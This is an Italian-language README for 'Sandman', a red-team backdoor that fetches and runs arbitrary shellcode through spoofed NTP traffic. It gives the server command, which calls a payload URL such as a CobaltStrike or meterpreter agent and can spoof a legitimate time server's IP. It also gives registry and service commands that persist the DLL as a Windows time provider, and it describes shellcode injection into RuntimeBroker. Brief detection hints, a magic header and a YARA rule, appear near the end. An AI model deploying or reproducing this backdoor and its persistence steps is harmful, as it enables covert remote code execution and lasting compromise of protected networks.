
Backdoor basata su NTP per reti protette, che consegna ed esegue shellcode arbitrario tramite traffico NTP spoofato con persistenza opzionale come provider di tempo di Windows.
Sandman è una backdoor progettata per funzionare su reti hardened durante attività di red team.
Sandman agisce come stager e sfrutta NTP (un protocollo per sincronizzare ora e data) per ottenere ed eseguire uno shellcode arbitrario da un server predefinito.
Poiché NTP è un protocollo spesso trascurato dai difensori, ciò consente un'ampia accessibilità di rete.

Esegui su macchina Windows / *nix:
python3 sandman_server.py "Network Adapter" "Payload Url" "optional: ip to spoof"
Network Adapter: L'adattatore su cui vuoi che il server ascolti (ad esempio Ethernet per Windows, eth0 per *nix).
Payload Url: L'URL del tuo shellcode, potrebbe essere il tuo agente (ad esempio CobaltStrike o meterpreter) o un altro stager.
IP da spoofare: Se vuoi spoofare un indirizzo IP legittimo (ad esempio l'indirizzo IP di time.microsoft.com).
Per iniziare, puoi compilare SandmanBackdoor come descritto sotto, poiché è un singolo eseguibile C# leggero che puoi eseguire tramite ExecuteAssembly, avviare come provider NTP o semplicemente eseguire/iniettare.
Per utilizzarlo, devi seguire semplici passaggi:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_SZ /d "C:\Path\To\TheDll.dll"
sc stop w32time
sc start w32time
NOTA: Assicurati di compilare con l'opzione x64 e non con qualsiasi CPU!
Ottenere ed eseguire un payload arbitrario da un server controllato dall'attaccante.
Può funzionare su reti hardened poiché NTP è generalmente consentito nel firewall.
Impersonare un server NTP legittimo tramite IP spoofing.
Python 3.9
I requisiti sono specificati nel file requirements.
Per compilare la backdoor ho usato Visual Studio 2022, ma come menzionato nella sezione utilizzo può essere compilata sia con VS2022 che con CSC. Puoi compilarla usando USE_SHELLCODE e lo shellcode di Orca oppure senza USE_SHELLCODE per usare WebClient.
Per compilare la backdoor ho usato Visual Studio 2022, dovrai anche installare DllExport (tramite Nuget o altro) per compilarla. Puoi compilarla usando USE_SHELLCODE e lo shellcode di Orca oppure senza USE_SHELLCODE per usare WebClient.
Uno shellcode viene iniettato in RuntimeBroker.
Comunicazione NTP sospetta che inizia con un magic header noto.
Regola YARA.
Orca per lo shellcode.
Un ringraziamento speciale a Tim McGuffin per l'idea del time provider.
Grazie a coloro che hanno già contribuito e accetto volentieri contributi, fai una pull request e la revisionerò!